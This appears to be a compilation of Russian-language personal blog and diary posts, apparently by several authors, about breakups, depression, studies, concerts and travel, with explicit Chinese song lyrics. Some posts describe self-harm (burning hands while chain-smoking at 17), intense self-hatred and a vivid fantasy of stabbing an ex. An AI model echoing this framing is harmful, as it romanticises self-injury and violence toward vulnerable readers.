Я сказала, что не ищу нового парня.Он сказал, что видел подарки и сделал вывод, что мне проявляют знаки внимания, а значит либо на что-то рассчитывают, либо хотят трахнуть. Что сейчас много уебков и не хочет, чтобы мне попался очередной.

/очередной..странная формулировка/

Я сказала, что больше никого не хочу видеть с собой рядом. И спросила вообще за какие подарки он говорит. Он сказал, что видел шарик(Машу, которую мне в парке М. подарил.) и цветы… На что я ответила, что у меня есть своя голова на плечах, что сама нарвала цветов, чтобы пахло и если кто-то пытается сблизиться, то я говорю, что больше, чем друзья быть не может.

В ответ: Я не хочу что бы тебя кто то обидел и все.

Я психанула. Сказала, что прекрасно понимаю, что "и все" и что сама могу о себе позаботиться.

Это кардинально выбило меня из колеи. Снова глотала валерьянку. Разбила стакан, бросив его в стену.

А потом Он просто продолжил кидать картинки, будто и не было разговора. Я не могла притворяться, что все хорошо, и чтобы не наговорить лишнего, я просто молчала.

Зачем Он это делает, если не любит…Почему Его это интересует? Я как дура надеюсь, что чувства ко мне у Него остались и они проснутся…Что мы снова будем вместе…Наивная дура.

Как один разговор может тебя скосить. Чуть не сорвалась и не пошла курить с трясущимися руками.

_________________________

10-й день без сигарет.

Ни один смертный не способен хранить тайну. Если молчат его губы, то говорят кончики пальцев, предательство сочится из него сквозь каждую пору.

Состояние тяжёлое конечно. Голос сел. Голова забита разными мыслями. Выспаться, вроде выспалась, хотя поспала всего 5 часов. Боюсь ехать на работу, чувствую будет треш!

Вчера так много танцевала, что сейчас это чувствует все тело. А ещё Влад делал мне массаж, такой массаж, что спина и шея горели.

Вообще вчера было очень весело. Были крутые диджеи. Был мой любимый Дима, который играл треки от которых у меня мурашки и ностальгия.

Был молодой парень, в которого влюбилась Лера.

И были две девушки с Москвы, которые просто зажгли так, что все прыгали.

Я вот спустя месяц стала конкретно прислушиваться к музыке. Закрывать глаза. Поймать ритм. Понять, что нравится, а что нет. И сейчас я просто кайфую от звуков вокруг. Хотя после того, как я от туда выхожу, я считайте оглохла.

А ещё Лера говорит, Тема на меня постоянно смотрит. Мне конечно кажется, что это не так. Но вчера он не пил, часто приходил на верх, сидел на стуле и от туда смотрел обстановку, ну и на меня иногда поглядывал.

Под конец все сидели с шариками полу убитые, а у меня сил выше крышы, я танцевала и улыбалась. С ребятами постоянниками рядом. А Тема сидел сбоку и иногда улыбался мне.

Мне сказали, что я ребёнок. И что я живая и искренняя. И мне так приятно стало.

Пусть я наивная, зато мир так кажется красочнее что ли.

Ох, как сегодня отработать не знаю. Голоса нет, уши заложило вчера, состояние на 3. Но сегодня будет народу больше намного, так что надо поехать и помочь ребятам.

Я решила расстаться с Сашей, дабы не мучать его. Наверное след, оставленный Лешей, до сих пор во мне и пульсирует со страшной силой. На последок Саша сказал "дело в том, что из-за бывшего ты ничего не хочешь больше.боишься повтора и вся хуйня" он чертовски прав, господи. И я ума не приложу как мне с этим бороться. Я делаю больно ни в чем не повинным людям. И да, я невероятно сильно себя ненавижу

День 105: Опишите своё самое любимое место в мире

Мне кажется, что это должно быть моим домом. Я мало, где была, только в своей стране. Из глупого могу сказать - в объятьях любимых людей)

День 104: Три слова, которые Вы используете каждый день

Ах-ах-ах - когда слышу глупые и несмешные шутки
Мои любимые - о хомячках)
Пока так. Трудно что-то сразу вспомнить)

Я прекрасно понимаю, что все у нас в голове. Что то, что я хожу подавленная, это результат моей пессимистичности. Ну не могу я видеть прекрасное, когда все плохо. Даже если и могу - мне это не помогает. Я всегда фокусируюсь на плохом и не могу радоваться мелочам, если хоть что-то идет не так. Сейчас у меня в жизни все будто с ног на голову перевернулось, во всех сферах все не так. Знаете, в коробки "Splat" они кладут письма? Так сегодня я расплакалась из-за слов поддержки, из-за "Соберись! И борись!". Я расплакалась из-за письма в коробке с зубной пастой, потому что поняла, что сдалась. Я - это проблема. И я позволяю своему внутреннему интроверту, ребенку и трусу брать верх. Я сама лишаю себя такого количества прекрасных вещей, потому что неуверенна, потому что боюсь. Но еще проблема в том, что кроме зубной пасты меня некому поддержать. И это тоже давит и заставляет идти на дно.

В лет 16 от сильных стрессов моя шея покрывалась корочкой, которая болела, чесалась. Выглядело это всё ужасно. Эта проблема шла со мной нога об ногу на протяжении года, может, чуть больше, после исчезла. Неделю назад это всё вернулось.

В итоге что я имею на сегодняшний день: вернувшуюся проблему из-за стресса, -2кг, нежелание, невозможность кушать. Пустоту.

Еще не верю, что очередной этап моей жизни подходит к концу. Паника еще совсем недавно захлестывающая меня, наконец-таки отступила. Отступила, естественно, временно. Меня, конечно же, ждет сессия, диплом, консультации, но вот пары, лекции, семинары совсем нет. Больше нет. Вот это все возвращает меня года на 4 назад, а потом еще на 2. Ненавистнейшее мне чувство расставания с чем-то привычным. С людьми, с ситуациями, с воспоминаниями. Из сил последних хватаюсь, а отпустить совсем не могу. Всегда вот так. Перемен не любят и не хотят наши сердца. Моё так точно.

Давай все вспять повернем?
и опять с самого начала начнем.

Съездили. Уже дома. Какое-то чувство угнетения почувствовала, вренувшись в город. Неужели нутро моё хочет пожить всё таки отдельно от него и на свежем воздухе?

Есть такие люди, к которым тянет с первой встречи.
Также существует люди, которые при первой встрече вызывают негативное к себе отношение, отталкивают от себя, бывает даже невольно.
Мне не нравятся не искренние люди, жадные, злые, хвастливые, пессимистически настроенные, хамы и грубияны, люди, которые не знают слова "уважение", подлые и лживые.
Вообще список довольно длинный. Также не зря говорят, что встречают по одежке. Неопрятная внешность тоже играет немалую роль в произведении впечатления.

we cannot bridge the distance… don't get too close to me… how deep must you fall down to understand that selfishness is always build on sand… waiting for the antract…. you got nothing to defend… i'm happy with you happy with you night and day i'm feeling with you bleeding with you anyway i can feel no reaction it's a strange affection i'm serving you i'm serving you as a prey i'm leaving you deceiving you not today i can feel no reaction what a strange affection

why did we seek the end?

знаете, когда вас в буквальном смысле оставляют под дождем, а в пять утра завуалированно пишут, что больше не хотят с вами общаться - это, конечно, неприятно. но когда осознаешь, что у тебя на руках изображены две твоих мечты, в кармане лежат билеты на концерт Оделла и Хенсона (снова и снова, и снова), и билет на самолет до Родоса, а ты живешь в городе, который любишь всем сердцем, то все кажется не много лучше

"Демоны смеются, когда ты говоришь о будущем "

Никогда нельзя позволять себе все свои надежды возлагать на планы. Потому что, когда планы накроются - кроме себя винить будет некого.

Coldplay - Up&Up

Довольно много внимания привлекла новинка от замечательных Coldplay, но я особо не горела желанием причаститься к этому хиту. А зря, потому что имхо - это лучший клип, который я когда-либо видела. Ещё ни один клип в мире мне так не нравится (разве что кроме bang bang bang или dope: 'D). Сама песня меня вообще не зацепила, как-то так. Но клип, товарищи, это просто золото.

gifs: [ x], [x], [x], [x]

Я не знаю своего истиного положения в его жизни. Есть только воспоминания того недолгого времени что мы провели вместе и…все. Я так и живу этими воспоминаниями, толком даже не узнав его как человека. Образ его, который я создала себе…так же как и его отношение ко мне.

Даже когда я знаю свое положение, и вижу его новое фото с девушкой, то ненавижу себя за то, что так близко его подпустила. Подпустила практически сразу после того как мне разбили сердце…он добился того чтобы я не страдала по Ж. Так и есть, мне плевать…но все повторяется уже с моим спасителем. Болит сердце.

Ненавижу это.

Что ж, экзамены по РСО сданы и вот мы уже в поезде. Мы едем на целину в Краснодарский край, а именно в село Лермонтово под городом Туапсе. Очень долго не было распределения. Все психовали от неизвестности, и, буквально, за 3 дня до выезда пришло распределение. У меня была паника, потому что была не закрыта сессия, не был закрыт медосмотр и я не успевала съездить домой, чтобы хотя бы один день провести рядом со своей семьей. В тот же день поехали за билетами. Я была вся расстроенная таким исходом, но выбора у меня не было. Пришлось договариваться с преподами и в быстром темпе закрывать медосмотр.Удивительно, что Н. и я вообще его закрыли. Вчера собирали сумки. Приехала мама. Как же я рада была ее видеть, скучала по ней. И просто мысль о том, что я не еще 1,5 месяца убивала. Но она отправилась с работы и приехала к нам. Ходила по магазинам, докупая то, что нужно к лагерю. А после собирала сумки. Мама ❤ Что еще сказать то Нас 5 человек едет в этот лагерь. "Морская волна". И мы очень протупили с билетами из ц этот пришлось доплачивать после почти 600 рублей. И вот мы в поезде. Это что то новое для меня, ведь ни я, ни Н. никогда никуда не ездили на поезде. Все ново.но знакомимся с поездом. Сначала не могла уснуть под качания, но привыкла. Ехать двое суток. Сети почти. Наверное, почитаю книгу, послушаю музыку. Накачала книг на электронку. "Ребекка" ждет меня. Осталось немного дочитать. Мне все еще интересно, что же такого случилось там, что случилось с Мэндарли. Говорят, я буду в шоке.

Кем только я не была в этой жизни, в какие только приметы не верила, какие роли не примеряла на себя и какую долю влияния не отводила самой себе на собственную жизнь, - я всегда пыталась вернуться назад, чтобы проследить хитросплетения обстоятельств и мыслей, так причудливо создающий тончайший жизненный узор, подчас заметный лишь нам самим.

я получила оскар, нобеля.

все золотые медали мои.

гран-при в колекции есть.

и все эти награды за мой самый большой грех/минус/недостаток.

я не знаю, как это назвать правильно.

таких как я никогда не встречала.

у меня нет той самой самодостаточности, которую должна обрести девушка.

я постоянно завишу от чувств.

мне постоянно нужно кем-то восхищаться. любить. к кому-то гореть, лететь.

из-за кого-то страдать.

и самое интересное, что большинство сказок-проблем я придумала для себя сама.

недостаток:

я вижу любовь, там где ее нет.

раскрутить сказку с пустого места ?

да на раздва.

но должна же быть причина этом всему.

я так много влюблялась, восхищалась.

но еще больше ошибалась. надеялась на пустом месте. видела краски в чб. оправдовала и защищала глупых людей, не своих людей.но даже с каждым таким приходящим-уходящим я ничему не научилась. новые ситуации -люди, а в мыслях все по кругу. это порочный круг, который с каждым разом больше и больнее бьет.

я не знаю, что должно произойти, что бы мне стало тесно в этом круге. как я сама себя спасу.

постоянно пробую дно обеими ногами и так чатсо тону. а потом меня спасают.

а потом новый забег.

это всё испытывает и забирает больше сил, чем недели без сна.

это всё мне надоело.

я так больше не хочу.НО! я не знаю, где зять жилу здравости, чтобы иначе смотреть, иначе себя вести, иначе чувствовать.

я ищу любовь там, где она не живет.

я жду чуда там, где в него не верят.

и самое убийственное, что я понимаю, что это именно то, что мне нужно. чертова игра. я ловила невероятный кайф вчера, когда он специально отходил как можно дальше от меня, включил эту песню, когда мы втроем слушали ивана дорна в метро и я включила бигуди и сергей начал ныть, что это пиздец, что это зашквар, и что он сейчас уйдет от нас нахуй, и я сказала ему спуститься по эскалатору тогда, и он спустился. никита постоял пару секунд и потом тоже резко побежал, а мне было так весело и действительно кайфово от этого, от этих детских жестов. и я оставила музыку, хотя на меня все смотрели, и когда наконец спустилась, я видела, что он смотрел на меня. сергей такой 'бляяя ты все это время слушала?'. я прокричала, смеясь, что мне похуй, что может быть ему есть дело до общественного мнения, а мне нет. и я знала, что никите это не то что понравится, а скорее просто затронет его, потому что мы обсуждали это. то, что мы можем просто разъебываться под музыку где угодно и вообще разъебываться и нам будет похуй. потом нам с сергеем надо было в другую сторону в метро и перед тем как расстаться мы в первый раз за вечер посмотрели друг другу в глаза. после я развернулась и пошла. и все, что было у меня в голове после этого, это строчки из ебаного love me if you dare: 'sophie was back in the game…'. и когда он написал сначала в чат, что не приедет ко мне отмечать, а потом написал мне, несмотря на то, что я не ответила ему на предыдущее сообщение, мне сначала было больно, а затем снова - back in the game, back in the game. потому что для меня даже ненависть и желание сделать мне больно лучше, чем равнодушие. а это не равнодушие. и сейчас, когда в чате никто не отреагировал на его сообщение о том, что он не приедет, и когда я оставила его сообщение без внимания, я отмечаю победу. раунд! как жаль, что я могу не дождаться следующего хода.

как часто сбываются мои мечты ?

да всегда, абсолютно.

вот только с огромной разнице во времении и нужности.

то о чем мечтала, пришло ко мне год спустя.

и каждый раз истории повторяются.

круто это или нет?

каждый раз, когда приходить мечта в релаьности, но спустя время я представляю как бы я радовалась ее исполнению когда -то.

а теперь то все иначе.другие люди, мечты и целы.

вывод один

лучшее -это когда всё вовремя.

лучшее-это когда в тебе еще что-то живое и желанное.

лучшее -это когда ты еще ждешь.

кстати, зачеты успешно сданы, один автоматом, остался экзамен по экономике и биологии поведения.

в этом семетсре я удовлетворена как никогда, в голове не ветер, туман будущего немного рассеивается.

После самого нервного экзамена в моей жизни, я ещё несколько часов пыталась понять что происходит. Вообще сумасшедший, мать его, день. Экзамен даже не нуждается в обсуждении, к черту, он уже в прошлом. Мы накрыли стол себе и преподам, выпили там, потом пошли в лесопарк рядом, уже одни, напились уже и там. Хорошо было всем, хотя кто-то и сидел говорил о том, как их любови им что-то запрещают, кто кому изменял, а я сидела, курила электронки и мне было отлично. Вообще было даже слишком прекрасно, все очень смешные и веселые, никто никого не осуждал и все осталось лично между нами. Я пьянею плохо, то есть была одна из немногих на ногах, поэтому начала замечать, что к нам подоспели левые с общажек. Это праздник НАШ, нааааашей группы, почему я должна терпеть кого-то, кого не знаю вообще? И не только я, а почти вся группа. Просто не терплю такие ситуации, засим забрала своих девочек и умотала домой. Вот это пожалуй гадковато.

Сил нет пичать что-то крупное. Но эта фигня с Кэпом и Гидрой везде, и написать я о ней не могу (да, до меня нынче как до утки - на четвертые сутки). Кароч вот почему Кэп мне всегда казался задницей. Вполне логичный итог, когда идеальность, доброта и справедливость в одном человеке вызывают подозрительность.

Девушки, которые живут с парнями, расскажите, как это началось? Уехали ли вы от родителей или переехали к парню из своей съемной? Один это город или два разных? Ходите ли вы к маме с папой в гости, все вместе или нет, каковы отношения и откуда вы берете деньги? Скоординируйте меня, будьте добры, я опасаюсь, что из 4х важнейших в моей жизни вещей смогу сосуществовать лишь с 2мя. Исключать родителей или учебу, остаться безработной, но жить в мире с парнем, как мне избежать этого?

Если вы собиратесь сказать, что я девочка, а он мальчик, и пускай он сам разбирается и взваливает себе на спину все эти проблемы (деньги, квартира и все остальное) - для меня это не самое лучшее решение.

Когда я училась в начальной школе, то хотела в мечтах сидеть одной за последней партой одной, чтобы меня никто не трогал. Но шло время и всё было наоборот, я всегда со всеми общалась и трещала без умолку, порой даже отсаживали, писали замечания, и вообще поведение в школе было не очень из-за болтавни, хотя "я же тихонько". К сожалению, в универе некоторые преподаватели говорят, что я тоже болтушка "собрала шабаш вокруг себя". Хотя мне стыдно за такое поведение, и я стараюсь не мешать. Так вот к чему я это всё писала, а к тому, что я возвращаюсь к той маленькой девочке, которая хочет сидеть одна..правда не совсем одна, а в компании одного мальчика, хотя если уйти в философские мысли, то их не двое, они - одно целое. Я устала от людей вокруг…

Готовить приятно летом на солнечной кухне с открытым окном и развевающимися от ветра шторами. Когда они надуваются, как пузо после обеда. Потому что овощи такие же яркие и солнечные, как погода, как освещение в комнате. Попробуйте суетливо бегать по кухне, когда включены почти все конфорки, стол завален продуктами, волосы все время нужно поправлять. Это такая бутафория, такая имитация, но так приятно. Мирно и гармонично, хотя везде - хаос! Попробуйте включить музыку, какой-нибудь джаз, ню-джаз, что-нибудь такое, легкое, можно музычку без слов, главное не радио энерджи, пожалуйста. И бегайте! Что-нибудь сливочное, можно со сметаной. Мясо, горячее. Вы его когда есть будете, нос станет сопливым - температура тела повысится. Летом горячие блюда становятся какими-то отщепенцами. Приготовьте лазанью. Приготовьте чили кон карне, только добавьте туда сливки. И стаут какой-нибудь, гиннесс например. Можете выпить его, в принципе. Можно приготовить суп. Можно потом в полном безделье, когда с удовольствием после беготни уберете кухню и сделаете ее до ужаса чистой, развалиться на какой-нибудь старой табуретке на балконе, положить ноги на подоконник и все. Достаточно. Потом можете забраться в кровать и лежать с книгой. И думать, какую вкусную штуку готовили сегодня. И почему-то от этого становится очень хорошо, как будто спасли мир немного.

Знаки зодиака как микс из двух знаков зодиака.

Овен: скорпион и лев
Телец: рак и весы
Близнецы: стрелец и водолей
Рак: рыбы и телец
Лев: весы и козерог
Дева: козерог и водолей
Весы: близнецы и лев
Скорпион: овен и рак
Стрелец: близнецы и овен
Козерог: дева и овен
Водолей: близнецы и дева
Рыбы: близнецы и рак

Знаешь что произошло? Когда мне нужна была поддержка его, когда мне нужен был он больше всех остальных — его не было. Я прямой человек, почти сразу сказала, что, его поддержка, в тот момент, мне необходима, хочешь скажу, что ответил? «Прости. Я не могу пойти в этом против себя. Мне жаль, что так у тебя там сложилось, но я ничего не могу с этим сделать.» Понимаешь, да? Ему жаль, но он не может. Мне всегда казалось, что в подобных ситуациях "пойти против себя" вообще не должно возникать в голове. После этого прошла неделя. Семь дней. И, по-моему, ему плевать в каком я состоянии и что со мной. Как обычно, наверное, признак того, что я жива - надпись "онлайн". Еще один неверный шаг в моей жизни.

Думайте обо мне как вам угодно: что я алчная или меркантильная, но я считаю, что одна ситуация с моим днём рождения настолько тупая и глупая, что капец. Близняшки(мои типа бест френдс) ничего не подарили мне на день рождение.. Близняшки - те, с кем жили пол года вместе, те, у кого я жила 2 недели, те, кому я помогала с интернетом, с картошкой, советом, те, кому на др я подарила 2 охуенные книги, плед, тоналку. Понимаете блин? Что это. За бред? Я понимаю, что я в др свой уехала в Киев, я это понимаю.. И что теперь? Это невероятно глупо. Я их позвала на торт, они пришли(у них 2 дня не было интернета) и начали втыкать в телефоны, в то время как я начала рассказывать о Киеве. Короче блин, последние пол года я от них никакой отдачи не чувствовала, только то, что нужна только когда им что-то надо. Я не нуждаюсь в крутых поларкаах, мне обидно, что не проявили никакого внимания. Хоть там шоколада маленькая. Ппц короче

Обожаю в грозу быть дома. Сидишь с теплым чаем, печеньем и конфетами, наблюдаешь, как дождь усиливается, капли начинают стучать по крыше, слышишь раскаты грома, а молния освещает всё вокруг. Прекрасное чувство.

Решила написать сюда. В целом ничего не произошло-все мое время уходит на учебу, ибо с пн начинается сессия, а у меня до сих пор сданы не все задания( (Не знаю, как так получилось, что я так все запустила: я и правда училась в течении семестра. А по моим теперешним ощущениям, я как будто пинала хуи все это время:/ В начале мая я выиграла билеты на концерт. Концерт был вчера. И у меня после него столько эмоций! Я знала всего пару песен, и многие композиции услышала впервые. И знаете, я вслушивалась в текст, осмысляла его. Голос у солистки был чудесный, даже лучше чем в записи, а музыка.. слышать живую музыку в сочетании с ее голосом было шикарно. Было пару песен, на которых из моих глаз потекли слезы: я словно нашла в них себя, описание своих чувств. Солистка тепло общалась с публикой, а гитарист прямо со сцены сделал своей девушке предложение. Я первый раз вижу, как делают предложение, но этот вариант просто потрясающий :D После концерта я была дико уставшая, у меня даже заболела спина, но в тот же момент я была довольна - именно такого эмоционального отдыха мне не хватало. Дрбравшись до дома я моментально уснула. Но ночью мне стала сниться какая-то ерунда. Во сне мне звонил он и нес какую-то чушь-тупо издевался надо мной, даже оскорблял. Но вдруг резко что-то изменилось и он стал разговаривать нормально, извинился за все, сказал, что не хотел, чтобы все было так. А я, насколько помню, так и не простила его. Не понимаю, почему мне сняться такие сны, ведь в последние дни я совсем не вспоминала о нем и тут на, оказался в моем сне. И самое тупое, что я запомнила этот сон! Редко случается, что я помню что-то из того, что мне снится. Надеюсь, что больше таких снов не будет. P.S. На концерте вчера видела парня, он такой красивый! Но чтож, никогда больше его не увижу. Познакомиться с ним не было возможности (У меня теперь такое ощущение, что я что-то упустила. А коллектив называется Алаи Оли. У них очень душевные песни, и, как я поняла, все эти песни с нового альбома.

я ненавижу его. ненавижу почти так же, как ненавидела свою первую любовь, но такое никогда не повторится, и это, наверное, радостно. я бы зарезала его к чертовой матери и наблюдала бы, как его кровь течет по моим рукам, пачкает одежду, волосы, пол. я запустила этими чертовыми ключами в дверь. я порезала чулки и разодрала их в клочья. но при этом я скучаю, ха. и все мои действия - эти походы втроем (и вчетвером), эти сообщения в чат - с одной стороны, они для того, чтобы он никогда не думал, что ему так просто избавиться от этой ситуации, чтобы быть живым напоминанием, чтобы было ясно, что я не замолчу и не уйду в тень, а с другой - чтобы просто видеть, что он пишет и что делает. и я действительно надеялась, что он приедет. я думала, я могу предугадать все, что он сделает. я знала, что он приедет в питер, я знала в тот день, еще месяц назад, что после того, как он меня обнял на прощанье, он загасится, я знала, что через несколько дней после этого он не будет со мной разговаривать. более того, я знала, что все это ложь. хотела найти подкрепление этому тезису (о том, что я наполовину это знала) в нашей переписке, но этих сообщений там сейчас просто нет. это какой-то лайфхак, что можно удалять чужие и свои сообщения? ахахах, ну пиздец. но продолжим. я знала, что после того вечера все кончится. просто не хотела в это верить. и я знала, что он включит эту ссаную песню, и что я буду подпевать. и так оно и было вчера. и когда я вернулась домой и курила на балконе я знала, что он еще найдет способ сделать мне больно. я стояла и думала, что это не конец, и что мне еще въебет. въебало. первое, что мне пришло в голову правда, это что он приедет, но со своей девушкой. но я действительно не могла подумать, что он не приедет вообще. что ж, переиграно. well done. но самое ужасное? я не хочу конца. мне бы все что угодно делать, лишь бы видеть, слышать, знать. я не хочу разговаривать непосредственно с ним, потому что ненавижу его до дрожи. и я не хочу ничего от него теперь. но я не могу вообще, вообще, вообще, вообще т.е. совсем без него

Когда я лежал в психушке, мой психоаналитик дал мне совет, которым я часто пользуюсь. Он сказал: «Прежде чем что-то делать, подумай, сможешь ли ты из этого выбраться». Хорошая мораль для нашего времени. Этот совет принёс мне много пользы.

Игги Поп

сначала врать мне, а потом самому злиться на меня. быть чертовым эгоистом и абсолютно наплевательски относиться к моей боли, думая, правда, что фраза 'ну а ты думаешь сейчас я ничего не чувствую и мне плевать?' как-то это загладит. все испортить, но часть ответственности все равно переложить на меня. наша общая знакомая, которая знает его куда хуже и меньше, чем я, оказалось, знает его куда лучше, чем я, потому что практически первое, что она мне сказала: 'по никите читаемо, что он самовлюбленный эгоист и пиздабол'. well. а я стала другой. я больше не плачу и не запираюсь на замки, я вся ярость. и я сказала себе, что не отступлюсь ни от чего и не позволю ему забрать у себя больше ничего: ни друзей, ни веселья, ни правды. я сделала так, что та самая знакомая пригласила меня в чат, который они все вместе создали для поездки в питер (он сразу после этого вышел оттуда, ха, хотя потом вернулся), я пила с ними два раза после всего этого, просто не обращая на него внимания, я пригласила всех ребят одногруппников к себе домой, чтобы отметить выпуск. он тоже был приглашен, потому что приглашены все. и вот что я получила

о нет, милый мой, мы хоть и оба театральны, ты меня превзошел, поздравляю. я хотя бы не играла перед тобой.

Без движухи в жизни становится скучно, все как будто порастает мхом. Но в то же время когда что-то начинает происхолить и я снова еду куда-то ночью, на утро мне все кажется таким неправильным и черезменым, что хочется закрыться в комнате и не выходить никогда.
Неужели где-то есть эта золотая середина? Хотя мне кажется что я скорее уже наиграюсь и вырасту, прежде чем найду ее.

Не верится, что сегодня, сейчас, сижу на работе, а уже послезавтра буду гулять по Москве. Но самое главное: 2 июня приеду в Санкт-Петербург и наконец-то обниму свою любимую Данечку. Мы знакомы уже 6 (!) лет, но ни разу не виделись и поэтому я переживаю, нервничаю и в то же время очень этого жду. Если есть кто-то здесь из наших двух столиц, с радостью погуляю и посмотрю город вашими глазами. Пишите, буду счастлива!)

vk

Месяц до защиты, а научный руководитель не отвечает. И тут мне захотелась переписать уже готовый диплом. Весело и играючи, так как хочу я и каким его вижу я. Должна же я хоть немного его полюбить и получить удовольствие от данного процесса!

Захотелось писать, печатать слова. Вернёмся к Берлину. Лето 14-ого года, две недели одиночества в отеле и занятий немецким время от времени. Курсы, между прочем, почти не отпечатались в голове, вроде ходила, что-то выучила. По приезду должна была жить в квартире съёмной, не сложилось. Быстро нашелся номер в отеле в центре города. Номер удручающе пустой и большой, достаточно большой, чтобы вместить всю депрессию на душе. Белые стены, белые простыни, тени вокруг, дневной свет куда-то удалился, заставив всех тяжко вздохнуть и приобрести серый тон. Все звуки тоже решили покинуть этот храм моего падения. Включила телевизор, чтобы заполнить эту дыру хоть чем-то. На меня сыплются потоком немецкие слова немецкой рекламы. Невыносимо. Нужен воздух, нужна жизнь. Поспешно хватаю ключ, зажигалку и пачку сигарет, почти вылетаю из опротивевшего отеля. На улице воздух чуть легче и появляется легкая надежда на жизнь. Я иду по какому-то проспекту на Запад, стараясь быть как можно дальше от той комнаты. Зажигаю сигарету. Эта пачка ментоловых оказалась в моем распоряжении благодаря спонтанному решению предыдущего дня. Тогда, я шла по отдаленному от центра району города, предположительно студенческому, и взгляд мой упал на магазин алкаголя и сигарет. Как всякий человек 17 лет, попавший в ловушку своих деструктивных мыслей, я почувствовала нужду в дополнительном разрушении, уже физическом. Выбор пал на сигареты. Азиатская женщина средних лет задержала на мне свой усталый взгляд на долю секунды, и без вопросов дала сигареты. Огни вокруг гаснут и вспыхивают снова, я уже не знаю куда иду. Зажигаю первую, неумело, зажигалка постоянно гаснет в слабом ночном ветре. Первые сигареты в моей жизни, которые я купила себе, за пять евро. Упиваюсь дымом - я нашла выход этой безнадежности внутри. Нужно ещё. Курю вторую, обжигаю руку, начинаю третью. Нужно идти, дальше, дольше, желательно от себя. Выкурила половину пачки. На руках маленькие ожоги, в голову будто задул ночной воздух. Я снова наедине с собой, ночь уже окончательно заволокла город, а комната в номере неумолимо становится ближе.

То самое чувство, когда ты пашешь, как ненормальный, думаешь, что нет никакого результата, расстраиваешься, но продолжаешь делать. И тут тебя хвалит авторитетный преподаватель. М., зам. зав. нашей кафедрой, оценил работу над курсовой, хоть мы и ответили не так хорошо. Сейчас, когда видит нас с Юлей, улыбается и здоровается, как ни с кем из наших одногруппников. На лабораторных С. похвалил нас как минимум за наш принесённый учебник (единственный на группу). С. на Ан.схт. любит за старание. Ну и Д. вчера вообще сделал невероятное. Нашел повод поставить нам пятерки, потому что помимо нас у него куча студентов, которые сами ни с чем не разберутся, а потом этим студентам сказал, что они неучи, а мы молодцы. У нас шок. Преподавателям страшно за подрастающих "инженеров".

Одногруппники продолжают разочаровывать. И сказать здесь больше нечего. Как и разговаривать с ними - тоже не о чем.

Меня пугают отношения с С.Т.. Пока ещё не сильно, но они становятся слишком близкими. Конечно, всё объяснимо: он очень похож на моего В. во многих вещах, только В. далеко, а С. - рядом, и я боюсь себя. Чувствую, как один становится немного чужим, хотя только что был роднее всех на свете. Ну а что я хотела, 2 года в разлуке - разве могло быть легко? Это просто ещё одно препятствие, которое я обязательно преодолею. Главное, чтобы С. ничего не чувствовал, иначе станет сложнее в миллион раз. Чувствую себя лошадкой, которую хозяин выпустил в поле погулять, она скачет и резвится, но знает, что он обязательно придёт, и она будет с ним, как бы хорошо не было в поле.

Ещё работать и работать до конца семестра. Но конец намного ближе.

Во вторник и среду работаем на конференции в университете. Учёбы много, но я не могла отказаться. А Юля со мной.

Приснилось, что разговаривали по телефону с ним и он говорит "я по тебе безумно скучаю! Но ты понимаешь почему все так". И потом еще было, как мы уже сидели у него дома и о чем-то разговаривали мило. В итоге проснулась в 6 утра и лежала пыталась прийти в себя, потому что дико тошнило. Какого черта ты во снах приходишь ко мне? В реальности говоришь, что мы увидимся и на все мои вопросы ответишь лично, давая мне надежду на встречу и во сне я слышу, что ты скучаешь по мне. А на деле…я не знаю твоих мыслей, но каждый день читая, что ты мне скажешь все лично, я не верю, что мы встретимся. Мне так тебя не хватает, ты бы знал.. Но, пожалуйста, хватит.

Прогулки под замерзшим небом, но с горячим сердцем наполняют повседневность магией. Запах томной молодости выделяется из родных и близких чувств. Кофе - не повод, холод - не препятствие, ночь - не для сна. Играют те самые песни, в которых ты слышишь себя и о себе. Любое его касание… Впрочем, каждому и так знакомо то, о чем я говорю.

Знакомый запах на его губах - хлесткий, тугой, скрученный тысячью жгутов и с и размахом выжигающий мозг. Не понимаю, где я слышала раньше его сочные удары по лицу. Не помню, как я вытирала горячую кровь из рваных ссадин.

Что-то новенькое пробивается в моей природе.
Обладатели карих глаз могут общаться без слов. Не касаясь и не подпуская.

SCREAM

Grimes

[Verse 1: Aristophanes]
藏在肺裡的尖叫
藏在骨頭和肌肉裡的
沒有爆破前 毋庸置疑的
都會揪緊成病
曾經 乾燥的 都被潑濕
膨脹後彈牙 多肉 黏膩多汁
一個女人徒手拔掉滿頭黑髮
在夢境的山稜線行走
思念聚集成蚊蟲
張開沒有焦點的瞳孔
就像….快 張開沒有欲望的大腿
我咬下去 你還是無動於衷嗎
明明可以叫出來的呀
沿著你的脊椎走
我的手指 戳出一個冰涼的湖
四處張望 無人看守
暴露狂脫掉風衣 淚流滿面地 跳進去

[Verse 2: Aristophanes]
計劃把你高潮的尖叫聲錄起 來
卻發現剛剛按錯了鍵
一去不復返 無能重複那時刻
你躺著
和逐漸冰冷的液體 撕扯著
黏膩 透明 在我的手心開出具有彈性的花
我覺得不夠 想從你身體裡擠出更多
就在這個時候電話響起
窗外的鹿群 飛奔離去 同時
急遽消退 藍色的風 抹去世界邊緣的泡沫
從你半開的雙眼繞過
接起電話 靜默降臨
剛醒來的情慾 在電話裡喘氣 尖叫
我邊聽 邊把你的汗一滴滴舔掉

[Hook: Aristophanes]
不能吼出來 那就吞下去

Блин, ребят, я процитирую свой твиттер, но таки абсолютно серьезно - у меня депрессия. Депрессия именно на почве моей сиюминутной маргинальности между статусом школьничка и ролью студента. И раз уж сегодня я снова совсем не сплю, сидя на кухне и нервно готовясь к первому экзамену, который уже в понедельник, то отпущу минуты своей драгоценной ночи на пост. Одна из причин моей депрессии заключается в том, что я не переношу (просто 10 жирных подчеркивани й) перемены. Пишу статьи о том, как важно выйти из своей зоны комфорта, чтобы чего-то в дальнейшем добиться, а сама не могу. Да мне даже лишние несколько сантиметров волос отрезать страшно, потому что после привыкать ведь нужно. А тут я школу закончила. Подпишите мне табличку "королева драмы", но я пока не догоняю, как, собственно, дальше жить и что делать. Есть ли жизнь после школы? Да есть конечно. Вот только я боюсь этой жизни. Боюсь всех тех фраз, касающихся времени, которые слышала с самого детства. Боюсь проснуться завтра, а мне уже 20, 25, 30, 40. Ощущение, что время взаправду течет в разы быстрее, чем это было несколько лет назад. Как написал однажды знакомый удивительный писатель: "Единственное чего я боюсь - это стареть. Один или не с теми людьми, с которыми хочу быть рядом ". Через пару недель мне 18 и, наверное, уже бессмысленно надеяться на то, что вселенная ниспошлет мне дополнительный год несовершеннолетия, дабы хоть немножко понять, чего я хочу и куда мне себя деть. Я не хочу в университет, но и год продолжения маргинального состояния, никуда не поступив и работая где-нибудь официанткой, как это сделали в прошедшем году несколько моих 